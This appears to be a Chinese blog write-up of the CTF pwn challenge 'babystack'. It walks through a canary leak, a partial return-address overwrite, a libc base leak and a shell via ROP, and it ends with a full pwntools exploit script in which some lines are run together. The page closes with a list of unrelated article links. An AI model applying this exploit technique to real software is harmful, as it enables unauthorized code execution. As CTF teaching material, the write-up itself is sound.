我太天真了,师傅说让我做做这个平台的题,我就注册了个号,信心满满的打开了change,找到了pwn,一看第一道题是babystack,我想着,嗯,十分钟搞定他!直到我下载了题目,题目给了libc,然后我检查了一下elf的保护,我发现我错了。。。

  这尼玛保护全开是什么鬼...

  来IDA看一下伪代码是要让干什么。

  箭头指向两个read函数和一个printf函数,两个read函数都可以进行溢出,printf函数是第一个溢出的回显。那么我们首先想到我就是,第一次溢出的时候,我们用来leak canary。如果是其他题目的话,这道题就算结束了,直接rop常规操作就走下来了,但是这道题不一样,这道题还开了pie,函数地址会随机化,我们不能直接利用gadget。接下来就是想办法泄露基地址了。

  在这里需要补充个知识点。

  程序在执行的过程中,其实简略版的启动是这么调用的:start-->__libc_start_main-->main。main函数其实是由__libc_start_main函数调用的,所以main函数的返回地址其实是调用main函数的下面的一行地址。如果我们可以知道__libc_start_main和main函数的返回地址差多少,我们再减去__libc_start_main函数的偏移,就能得到libc的基地址,就可以用libc中的gadget了。

  我们一步一步来,第一次leak canary就不演示了。直接看第第二次溢出的时候的栈空间布局。

  

  rbp下面是返回地址,pwndbg很明显的给我们标出来是__libc_start_main + 240的位置。那我们想办法leak这个地址就行。不过很明显,运行一次main函数是不够的,必须重复运行main函数,那么这个时候有一个技巧就是覆盖main函数返回地址的末字节,这样程序就有机会能再次运行,为什么说是有机会呢?我们来看一下__libc_start_main调用main函数周围的汇编。

  

  图片中箭头所指的地方就是调用main函数的指令,可以看见不是我们想象的call main,是call rax,假如我们直接把末字节覆盖成2e,其实是不能再次运行程序的,因为你不能保证rax是调用main函数的值。这里如果耐心一点读读汇编就可以确定覆盖成什么可以直接再次调用main函数,我为了不动脑子,就乱覆盖,直到找到一个可以再次执行的,其实也用不了多长时间,我大概测试了十几个数,就确定了一个。

  不过有一点需要注意,就是再次往回调的时候,我们不能乱覆盖rbp,应为leave ret会进行恢复栈的操作,所以一旦rbp被破坏了,那么就回不去了。

  那么我们就只有在第一次程序运行的时候的第一次溢出同时泄露canary和rbp。

  接下来程序第二次执行,第一次溢出就leak mian函数的返回地址,这个时候其实通过计算就可以得到libc的基地址了,第二次溢出到one_gadget。就可以拿到shell了。

  其实感觉已经说的很清晰了,题目是内部平台下载的,就不说是哪里的题目了(咳咳,自己发现),反正是感觉学习到很多东西,也算是一种新姿势。最后贴一下exp:

  

from pwn import *

context(log_level='DEBUG')
p = process('./babystack')
libc = ELF('./libc6_2.23-0ubuntu10_amd64.so',checksec=False)
p.sendafter('name: ','U'*0x88 + '\xFF')
p.recvuntil('\xFF')
canary = u64('\x00' + p.recv(7))
stack = u64(p.recv(6).ljust(8,'\x00'))
payload = 'U'*0x88 + p64(canary) + p64(stack) + '\x8d'
print 'canary-->' + hex(canary)
print 'stack-->' + hex(stack)
#gdb.attach(p)
p.send(payload) payload = 'U'*0x97 + '\xFF'
p.sendafter('name: ',payload)
p.recvuntil('\xFF')
addr = u64(p.recv(6).ljust(8,'\x00')) print '-------------->' + hex(addr)
libc_base = addr - 240 - libc.sym['__libc_start_main']
libc.address = libc_base
print 'libc main start ------>' + hex(addr-240)
og = [0x4f2c5,0x4f322,0x10a38c]
one_gadget = libc_base + og[2] system_addr = libc_base + 0x045390
binsh_addr = libc_base + 0x18cd57
pop_rdi = libc_base + 0x0021102 payload = 'U'*0x88 + p64(canary) + p64(stack) + p64(pop_rdi) + p64(binsh_addr) + p64(system_addr)
p.send(payload)
p.interactive()

一道栈溢出babystack的更多相关文章

  1. WinRAR存在严重的安全漏洞影响5亿用户

    WinRAR可能是目前全球用户最多的解压缩软件,近日安全团队发现并公布了WinRAR中存在长达19年的严重安全漏洞,这意味着有可能超过5亿用户面临安全风险. 该漏洞存在于所有WinRAR版本中包含的U ...

  2. SCTF 2014 pwn题目分析

    因为最近要去做ctf比赛的这一块所以就针对性的分析一下近些年的各大比赛的PWN题目.主防项目目前先搁置起来了,等比赛打完再去搞吧. 这次分析的是去年的SCTF的赛题,是我的学长们出的题,个人感觉还是很 ...

  3. 安恒pwn魔法

    魔法这是比较基础的一道栈溢出: 首先看下开启的防护机制 Checksec magicc发现只有nx防护 我们载入ida发现溢出点 Buf实际溢出空间为0x16,构造exp import time fr ...

  4. 【pwnable.kr】bof

    pwnable从入门到放弃,第三题. Download : http://pwnable.kr/bin/bofDownload : http://pwnable.kr/bin/bof.c Runnin ...

  5. 栈溢出之rop到syscall

    当程序开启了nx,但程序有syscall调用的时候.这时栈溢出的利用就可以通过rop来执行syscall的59号调用execve('/bin/sh',null,null),这是这次alictf一道pw ...

  6. 一道Apple公司(中国)的面试题目

    Apple在中国(上海)有公司业务,但是感觉主要是做测试工作的部门,主要是保障Apple的产品质量QE.面试的时候,面试官出了一道题目,我貌似曾今开过类似的题目,但是由于当场发挥不佳没有答出来.题目大 ...

  7. 利用gcc自带的功能-fstack-protector检测栈溢出及其实现

    最近又遇到了一个崩溃,栈回溯非常怪异. /lib/i386-linux-gnu/libc.so.(gsignal+0x4f) [0xb2b751df] /lib/i386-linux-gnu/libc ...

  8. 【Android】一道Android OpenGL笔试题

    一道Android OpenGL笔试题 SkySeraph May. 5th 2016 Email:skyseraph00@163.com 更多精彩请直接访问SkySeraph个人站点:www.sky ...

  9. 一道常被人轻视的前端JS面试题

    前言 年前刚刚离职了,分享下我曾经出过的一道面试题,此题是我出的一套前端面试题中的最后一题,用来考核面试者的JavaScript的综合能力,很可惜到目前为止的将近两年中,几乎没有人能够完全答对,并非多 ...

随机推荐

  1. [atAGC013F]Two Faced Cards

    先对$c_{i}$离散到$[0,n]$上,并令$a_{i},b_{i},d_{i},e_{i}$对应到第一个大于等于他的数 考虑若$a_{n+1}$和$b_{n+1}$也已经确定如何做: 有一个$o( ...

  2. [nowcoder5667H]Happy Triangle

    可以发现合法的答案有两种可能: 1.询问的$x$即为最大值(或之一),那么只需要找到x前两个数并判断即可 2.询问的$x$不是最大值,那么就要保证另外两边之差小于$x$,维护后缀中$的前驱k-k的前驱 ...

  3. 下一代的 3D Tiles 前瞻

    下一代的 3D Tiles 前瞻 原文:Introducing 3D Tiles Next, Streaming Geospatial to the Metaverse 原文发布时间:2021年11月 ...

  4. 同时在多个 Git 分支上工作,老板要榨干我

    背景 上一篇文章 保持清洁的Git提交记录,三招就够了 ,大家看过后有私下留言说这是非常好用的功能,我突然想到工作中用到的另外一个 Git 功能那也是相当好用,必须全盘托出 作为程序员的我们应该都有一 ...

  5. python的基础知识-冷门

    可变与不可变: 大部分python对象是可变的,e.g列表,字典,自定义的类. 字符串和元祖是不可变的. pass用于占位符,py不允许有空代码块 range和xrange 生成整数列表 xrange ...

  6. URL URI傻傻分不清楚,dart告诉你该怎么用

    目录 简介 dart中的URI encode和decode 解析URI 总结 简介 如果我们要访问一个网站,需要知道这个网站的地址,网站的地址一般被称为URL,他的全称是Uniform Resourc ...

  7. java 桥接模式实现代码

    写在前面 桥接模式:将抽象与实现分离,使它们可以独立变化.它是用组合/聚合关系代替继承关系来实现,从而降低了抽象和实现这两个可变维度的耦合度. 使用场景1:要绘制矩形.圆形.椭圆.正方形,绘制的图形需 ...

  8. Atcoder Grand Contest 021 F - Trinity(dp+NTT)

    Atcoder 题面传送门 & 洛谷题面传送门 首先我们考虑设 \(dp_{i,j}\) 表示对于一个 \(i\times j\) 的网格,其每行都至少有一个黑格的合法的三元组 \((A,B, ...

  9. 如何反向推断基因型文件中的参考碱基(REF/ALT)?

    目录 需求 解决 方法一 方法二 需求 客户随手丢来一个基因型文件,类似于hapmap格式,只是少了中间多余的那几列,像这种类hapmap格式文件,往往是芯片数据. 这样的数据因为缺乏等位基因:参考碱 ...

  10. excel--CLEAN()函数,解决为什么看着相同的字符串但是len()长度不同

    CLEAN()函数能够有效解决去除字符串中隐藏的字符(这些字符是TRIM()去除不掉的)